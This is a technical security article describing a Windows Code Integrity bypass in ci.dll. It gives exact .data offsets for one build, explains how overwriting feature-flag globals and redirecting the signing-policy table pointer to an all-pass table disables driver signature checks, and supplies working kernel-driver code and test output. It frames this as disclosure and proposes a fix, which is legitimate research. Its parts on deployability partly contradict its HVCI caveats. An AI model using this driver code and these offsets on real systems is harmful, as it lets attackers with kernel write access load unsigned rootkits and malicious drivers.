Windows Code Integrity relies on three layered defenses to prevent tampering: Kernel Data Protection (KDP), PatchGuard, and Hypervisor-Protected Code Integrity (HVCI). All three focus on protecting a single well-known structure, g_CiOptions, which acts as the master switch for enforcement. However, ci.dll’s actual decision-making machinery depends on additional globals living in the regular .data section that are writable, unmonitored, and completely outside every protection layer. Two specific targets—a set of feature configuration flags and a signing policy table pointer—control whether entire verification paths execute. Redirecting or disabling these 20 bytes across ci.dll’s memory space bypasses Code Integrity enforcement without triggering KDP faults, PatchGuard checks, or Virtualization-Based Security (VBS) monitoring. The unsigned driver then loads and executes with kernel privilege as if it were properly signed.

This article traces the architecture that permits this bypass, identifies the unprotected control points, explains why they escaped protection hardening, and demonstrates the implementation through a working kernel driver that disables ci.dll enforcement atomically.

Background

Microsoft introduced Code Integrity as a defense against privilege escalation through kernel module injection. Modern Windows ties kernel driver loading to digital signatures: a driver must carry a valid certificate chain validating all the way to a trusted root, or Code Integrity rejects it. This policy holds across Home, Professional, and Enterprise editions when Secure Boot is enabled, and is the only practical enforcement on systems without HVCI.

The defenses protecting this policy have evolved in layers. g_CiOptions sits in a section called CiPolicy that KDP marks read-only via hypervisor-enforced page table entries on systems with VBS active. PatchGuard takes periodic checksums of g_CiOptions and other critical kernel structures, sending a crash dump if tampering is detected. HVCI prevents the execution of any code from writable memory, forcing attackers to either find legitimate executables to jump into or find gaps in the protection.

Prior research has focused on the “front door”: modifying g_CiOptions directly or hooking the callbacks it points to. The assumption has been that if you cannot write KDP-protected memory, and if PatchGuard is watching the structure, then Code Integrity is secure against modification. That assumption rests on one thing being true: that all of Code Integrity’s decision-making happens through g_CiOptions and the monitored callback table. It does not.

Critical Requirement: HVCI Must Be Disabled

This bypass requires Hypervisor-Protected Code Integrity (HVCI) to be disabled. On systems with HVCI active, skci.dll runs in VTL1 (the secure world, at a higher privilege level than the normal kernel in VTL0), and HVCI’s enforcement prevents kernel execution of unsigned code through NX protection at the hypervisor level. Additionally, skci.dll validates kernel driver images at load time through its secure image validation routines.

The memory addresses discussed in this article—the feature flags at offsets 0x44778, 0x447B8, and 0x447D0, and the policy table pointer at 0x431D8—sit in ci.dll’s .data section which is writable from VTL0. On a system with HVCI enabled, even if you modify these .data addresses, HVCI’s W^X enforcement (preventing kernel code execution from writable pages) prevents execution of unsigned drivers. The actual enforcement mechanism that prevents this attack from working on hardened systems is HVCI’s architecture-level NX enforcement combined with skci.dll’s image validation at driver load time.

This bypass is therefore only viable on systems where HVCI is explicitly disabled. HVCI is enabled by default on clean installs of Windows 11 on compatible hardware (all editions, not just Enterprise), but users can disable it for compatibility or performance reasons. On systems where HVCI is disabled, or on systems without VBS at all (where KDP protection is absent), this technique becomes viable.

Windows Code Integrity Architecture

Code Integrity validation begins when a driver binary arrives at the kernel loader. The loader calls CiValidateImageHeader in ci.dll, passing the file object and a required signing level. ci.dll maps the driver into virtual memory, parses its PE headers, extracts its embedded signature (if any), computes various hashes, and consults multiple policy tables to determine whether the file should be accepted.

The design separates concerns across several functions: CiValidateFileObject handles the top-level policy logic, sub_18008E294 (hereafter referred to by its purpose as ComputeAndVerifyPEHash) computes authenticode hashes, sub_1800D9070 enforces signing level decisions, and sub_1800D98CC handles catalog-based signature verification. Each function queries feature configuration flags, consults the signing policy table, and makes branching decisions.

// Simplified validation flow
NTSTATUS CiValidateFileObject(FILE_OBJECT *file, int required_level, ...)
{
    status = MapAndHashFile(file, ...);
    if (status < 0)
        return status;

    combined_level = EvaluateSigningLevel(...);

    // Policy check: is this signing level acceptable?
    int policy_mask = g_pSigningLevelPolicyTable[combined_level & 0xF];
    if (_bittest(&policy_mask, signing_scenario & 0xF))
    {
        // Policy says pass. Load the driver.
        return STATUS_SUCCESS;
    }

    // Policy says fail. Reject the driver.
    return STATUS_INVALID_IMAGE_HASH;
}

This architecture treats decision-making as a pipeline. Early gates check whether the file is even a valid PE. Middle stages verify signatures and hashes. Late stages consult policy tables that answer the question: “For this signing level and scenario, is this file acceptable?” If any gate rejects, the driver does not load.

The Signing Level Policy Table

Code Integrity supports 16 distinct signing levels, numbered 0 through 15. These range from Unchecked (0) and Unsigned (1) at the lowest trust, through Enterprise (2), Authenticode (4), Store (6), Antimalware (7), and Microsoft (8), up to Windows (12) and Windows TCB (14) at the highest. Several Custom levels fill the remaining indices. For each level, policy determines which scenarios permit loading.

A scenario represents a particular context where a driver might be signed differently: one scenario for drivers signed with enterprise certificates, another for platform publishers, another for Microsoft. These scenarios are encoded as a bitmask where each bit corresponds to a signing scenario index.

The policy table is an array of 16 DWORDs, one per signing level. Each DWORD is a bitmask where each bit indicates whether that scenario is acceptable for that signing level. At runtime, when ci.dll decides whether to accept a driver, it indexes into the table using the signing level, extracts the policy mask, and tests whether the driver’s signing scenario bit is set using the _bittest instruction.

// Policy table structure (from .rdata, read-only)
DWORD g_SigningLevelPolicyTable[16];  // addresses 0x180031F90-0x180031FCF

// Example values (actual bytes from Windows 11 build 26200):
// [0]  0xFFFFFFFF  - level 0: all scenarios pass
// [1]  0xFFFFFFFE  - level 1: all except scenario 0
// [2]  0x00005994  - level 2: specific scenarios only
// [10] 0x00000000  - level 10 (Custom 5): nothing passes
// [15] 0x00000000  - level 15 (Custom 6): nothing passes

The table itself lives in the read-only .rdata section. However, ci.dll does not reference the table directly. Instead, it uses a pointer stored at offset 0x431D8 in ci.dll’s .data section.

// Pointer stored in .data (writable, no protection)
DWORD *g_pSigningLevelPolicyTable;  // address 0x1800431D8
                                     // = points to 0x180031F90 normally

This indirection pattern is typical in operating system code—keep the read-only data in .rdata and the reference in .data so that pointer can be updated or replaced at runtime. The assumption is that .data is protected through other means. In ci.dll’s case, it is not.

Feature Configuration Flags

ci.dll also uses Windows Feature Configuration to gate whether specific verification paths are enforced. Feature Configuration is a general-purpose Windows system that allows kernel components to query feature state through RtlQueryFeatureConfiguration. The system caches results to avoid repeated queries, and allows registered consumers to be notified when feature state changes.

Three feature configuration flags control Code Integrity enforcement:

  1. Catalog Verification Enforcement (offset 0x44778 in .data) Controls whether code must be cataloged and verified through catalog-based signature validation. Used in 23 call sites across 13 functions.

  2. Page Hash / HVCI Enforcement (offset 0x447B8 in .data) Controls whether drivers must pass page hash verification. When disabled, certain drivers that fail page hash validation fall back to embedded signature validation instead.

  3. Signed Catalog Enforcement (offset 0x447D0 in .data) Controls whether catalogs themselves must be signed. When disabled, unsigned catalogs are accepted.

Each flag uses a consistent pattern: bit 4 acts as a “cached” flag, and bit 0 encodes the enforcement state. Functions that check these flags first examine bit 4. If it is set, they take a fast path and return bit 0 directly without querying the feature system. If bit 4 is not set, they call the feature configuration system, cache the result, and return.

// Feature flag check pattern (from ci.dll)
bool IsPageHashVerificationEnforced()
{
    // Fast path: if bit 4 (0x10) is set, result is cached.
    // Return enforcement state from bit 0.
    if (g_FeatureFlag_PageHash & 0x10)
        return g_FeatureFlag_PageHash & 0x01;

    // Slow path: query feature configuration system,
    // cache the result, and return.
    return EvaluateFeatureConfiguration(
        g_FeatureFlag_PageHash,
        CACHE_AND_NOTIFY,
        &FeatureDescriptor_PageHash
    );
}

To disable enforcement: set the flag to 0x10. Bit 4 is set (cached), bit 0 is clear (not enforced). The fast path returns zero, and the corresponding verification step is skipped.

All three of these globals live in .data at offsets that are not part of the CiPolicy section. They are writable from any kernel mode code, and KDP does not protect them. PatchGuard does not checksum them because they are not among the documented KDP-monitored structures.

The Unprotected Memory Layout

To understand why these globals escaped protection, it helps to see the actual memory layout of ci.dll:

Address Range        Section   Protection   Monitored
──────────────────────────────────────────────────────────
0x180043000-0x180045000  .data      rw-        No (writable)
0x180050000-0x180051000  CiPolicy   rw-/KDP    Yes (both)
0x18002B000-0x180043000  .rdata     r--        No (read-only)

The three feature flags and the policy table pointer all live in the .data section starting at 0x180043000. This region is writable from VTL0 (the normal kernel) even when VBS is fully active and KDP has locked down the CiPolicy section.

The policy table pointer at 0x1800431D8 points into .rdata at 0x180031F90. The table itself is read-only, but the pointer in .data can be redirected to any attacker-controlled memory. Once redirected, all 62 call sites across 29 functions read through the new pointer.

Unprotected Control Flows

The feature flags control early exit paths in critical functions. Consider ComputeAndVerifyPEHash, which is the primary path for driver verification:

int ComputeAndVerifyPEHash(context, mapped_image, file_size, ...)
{
    status = ComputeAuthenticodeHash(context, hash_algo, ...);
    if (status >= 0)
        goto verify_hash;

    // CRITICAL: If page hash verification is not enforced,
    // skip the entire page hash validation step.
    if (IsPageHashVerificationEnforced()                     // <-- reads g_FeatureFlag_PageHash
        || context->verification_mode == 2
           && (!use_catalog || (context->flags & 0x200) == 0))
    {
        goto do_page_hash_verification;
    }

    // Page hash verification is NOT enforced.
    // Fall through to embedded signature check instead.
    status = VerifyEmbeddedSignature(context, ...);
    // ... rest of verification ...

do_page_hash_verification:
    // ... verify page hashes ...
}

Flipping g_FeatureFlag_PageHash to 0x10 causes IsPageHashVerificationEnforced to return zero. The function skips page hash verification entirely and proceeds directly to embedded signature validation. On drivers that have no embedded signature but are supposed to be validated through page hashes, this check being disabled is functionally equivalent to marking them as accepted.

Similarly, the policy table controls the final acceptance decision. If the table contains all 0xFFFFFFFF entries, then every _bittest call returns true, and every driver passes policy checks regardless of its signing level.

// Attack: redirect policy table
DWORD fake_table[16];
RtlFillMemory(fake_table, sizeof(fake_table), 0xFF);
*(QWORD *)(ci_base + 0x431D8) = (QWORD)&fake_table;

// Now every policy check succeeds
int policy_mask = g_pSigningLevelPolicyTable[level];  // reads from fake_table
if (_bittest(&policy_mask, scenario))                 // always true
{
    accept_driver();  // always executes
}

The two modifications work together. The feature flags disable specific verification paths. The policy table pointer ensures that the policy checks themselves pass. Together, they disable Code Integrity without touching g_CiOptions, without triggering PatchGuard, and without requiring VBS to be absent.

Why These Globals Escaped Protection

This gap in the protection model likely exists for several reasons. First, the feature configuration flags look like ordinary Windows feature flags, not security primitives. They are part of the generic RtlQueryFeatureConfiguration infrastructure, which is used throughout the kernel for feature management. They do not appear in security-related code at first glance.

Second, the policy table pointer is indirection at a low level of abstraction. Most reverse engineering of Code Integrity focuses on the high-level functions like CiValidateImageHeader and the well-known globals like g_CiOptions. The intermediate data structures that feed policy decisions are not typically targets of security hardening. They are assumed to be protected through separation of concerns—if g_CiOptions is protected, then everything that flows from it must be secure.

Third, ci.dll’s .data section is assumed to be protected in the same sense that all kernel .data is protected: by virtue of kernel mode privilege requirements and hypervisor isolation. This assumption holds on systems without HVCI. On systems with HVCI, the assumption is that even if someone gains kernel write access (through a vulnerable driver), HVCI prevents execution of unsigned code. If enforcement is disabled, however, the HVCI assumption breaks: ci.dll itself will approve unsigned code, and the code will load with proper SLAT permissions.

Implementation: The Bypass Driver

A working bypass requires four things:

  1. Locate ci.dll in kernel memory.
  2. Validate that the target offsets actually land in the .data section (to prevent operating on the wrong build).
  3. Take snapshots of the original values for later restoration.
  4. Atomically write the new values.

The driver allocates a local g_fake_table filled with 0xFFFFFFFF:

static DECLSPEC_ALIGN(16) ULONG g_fake_table[16] = {
    0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
    0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
    0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
    0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
};

Then it modifies the feature flags and redirects the policy pointer:

// Disable feature enforcement
*p_cat = 0x10;   // g_FeatureFlag_CatalogEnforcement
*p_ph  = 0x10;   // g_FeatureFlag_PageHash
*p_sc  = 0x10;   // g_FeatureFlag_SignedCatalog

// Redirect the policy table pointer
InterlockedExchangePointer(p_tbl, g_fake_table);

The driver optionally attempts to modify g_CiOptions as well, wrapping the write in structured exception handling to catch any KDP fault:

__try
{
    ULONG new_opts = ci_opts_val & ~0x2Fu;  // clear enforcement bits
    *p_ciopts = new_opts;
    MemoryBarrier();

    ULONG readback = *p_ciopts;
    if (readback == new_opts)
    {
        // g_CiOptions write succeeded
    }
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
    // KDP faulted the write (VBS is protecting CiPolicy)
}

On unload, the driver restores the original values in reverse order:

InterlockedExchangePointer(p_tbl, g_ctx.orig_policy_ptr);
MemoryBarrier();

*p_cat = g_ctx.orig_catalog;
*p_ph  = g_ctx.orig_page_hash;
*p_sc  = g_ctx.orig_signed_cat;

if (g_ctx.ci_options_written)
    *p_ciopts = g_ctx.orig_ci_options;

Test Results

The driver was tested on Windows 11 build 26200 without VBS active. On load, it produces the following output:

[codesign] [*] target: Windows 10.0.26200
[codesign] [+] CI.dll @ FFFFF8070B090000  size=0x114000
[codesign] [*] validating offsets against PE layout...
[codesign] [+] all offsets validated in .data (rw-, no KDP, no PatchGuard)
[codesign] [*] snapshots:
[codesign]     catalog  flag = 0x00000057
[codesign]     pagehash flag = 0x00000057
[codesign]     signedcat flag= 0x00000057
[codesign]     policy ptr    = FFFFF8070B0C1F90
[codesign]     g_CiOptions   = 0x00000016
[codesign] [+] policy ptr targets .rdata; legitimate table confirmed
[codesign]     real table[0..3] = FFFFFFFF FFFFFFFE 00005994 000059FC
[codesign] [*] killing feature flag enforcement...
[codesign] [*] redirecting policy table to all-pass...
[codesign] [*] attempting g_CiOptions modification (caution: may be KDP-blocked)...
[codesign] [+] g_CiOptions: 0x16 -> 0x10 (no KDP block)
[codesign] [+] CI ENFORCEMENT DISABLED
[codesign] [*] loaded; staying resident until 'sc stop codesign'

After the bypass driver loads, an unsigned test driver can be loaded and will execute with kernel privilege without triggering any Code Integrity rejections or PatchGuard checks. The test driver remains in memory and functional until the bypass driver unloads, at which point the original values are restored and Code Integrity enforcement returns to normal.

The key observation is that g_CiOptions write did not fault. On systems without VBS, the CiPolicy section does not have KDP protection, and g_CiOptions is writable. On a fully hardened system with VBS active, this write would fault, but the .data modifications would still succeed independently.

Implications and Severity

This attack surfaces a gap in the defense-in-depth model, but with a critical scope limitation: it only works when HVCI is disabled. On systems with HVCI active, skci.dll independently validates driver images at load time in VTL1, preventing unsigned code from being mapped as executable regardless of ci.dll’s policy state in VTL0.

Microsoft protected g_CiOptions with KDP hardware enforcement and PatchGuard checksumming, but those protections assume that all of Code Integrity’s decision-making happens through that single structure. When Code Integrity was originally designed, that assumption may have held. Over time, as feature configuration was added, as policy tables were introduced, and as new enforcement mechanisms were layered on, the assumption became false.

The .data globals represent intermediate decision points that flow into the high-level decision made by g_CiOptions. If you cannot modify g_CiOptions (because KDP is protecting it), but you can modify the lower-level decision points, then you can still disable enforcement—provided HVCI is not present to monitor those changes.

On a system without HVCI, or with HVCI explicitly disabled, an attacker with kernel write access could use this technique to:

  1. Disable page hash verification and catalog verification using the feature flags.
  2. Redirect the policy table to accept all signing levels.
  3. Optionally modify g_CiOptions, which may or may not be KDP-protected depending on whether VBS is active.
  4. Load unsigned drivers with kernel privilege.

The attack requires kernel write access, which is a high bar. However, it can be achieved through multiple vectors: a vulnerable driver (BYOVD—bring your own vulnerable driver), a kernel vulnerability, or in testing scenarios where a kernel debugger is attached. The combination of kernel write access with a system that lacks HVCI enforcement is a complete bypass of Code Integrity.

On fully hardened systems (VBS active, HVCI active, no kernel debugger), the .data globals are only a side door if skci.dll’s monitoring is somehow bypassed. skci.dll’s validation loop is the actual enforcement mechanism that prevents this attack from working.

Bonus Finding: KDP is Conditional

One further detail: KDP protection of the CiPolicy section is only applied when certain conditions are met. In the ApplyKDPProtection function, KDP is applied only when:

  1. The force-KDP bit in g_CiOptions is set, OR
  2. The kernel debugger is not enabled, OR
  3. The kernel debugger is flagged as not present.

In other words: if a kernel debugger IS attached and the force-KDP flag is NOT set, the CiPolicy section remains writable, and even g_CiOptions becomes a direct target for modification. On a debug-enabled boot (with bcdedit /debug on), this condition holds even without a debugger actually being present if the boot flag was set. This means that under certain administrative configurations, even the CiPolicy section escapes hardware protection, and the .data modifications are not even necessary.

Closing

Code Integrity’s decision-making relies on two classes of unprotected globals in ci.dll’s .data section: feature configuration flags that gate specific verification paths, and a signing policy table pointer that determines policy acceptance. These globals sit outside KDP protection, outside PatchGuard monitoring, and outside the documented CI hardening model. On systems without HVCI, modifying them with 20 bytes of writes disables Code Integrity enforcement, permitting unsigned kernel drivers to load without triggering any integrity checks. On systems with HVCI active, skci.dll independently validates driver images at load time in VTL1 and prevents unsigned code execution regardless of ci.dll’s policy state. The root cause is a gap between the perimeter that skci.dll and KDP protect (g_CiOptions in CiPolicy) and the full set of decision-making structures ci.dll uses in its .data section, combined with the assumption that writable kernel data is implicitly protected through privilege level alone when it is not actively monitored. The fix is to extend skci.dll’s verification to cover the feature configuration flags and the policy table pointer as well, or to move these structures into the CiPolicy section where KDP and skci.dll would protect them alongside g_CiOptions.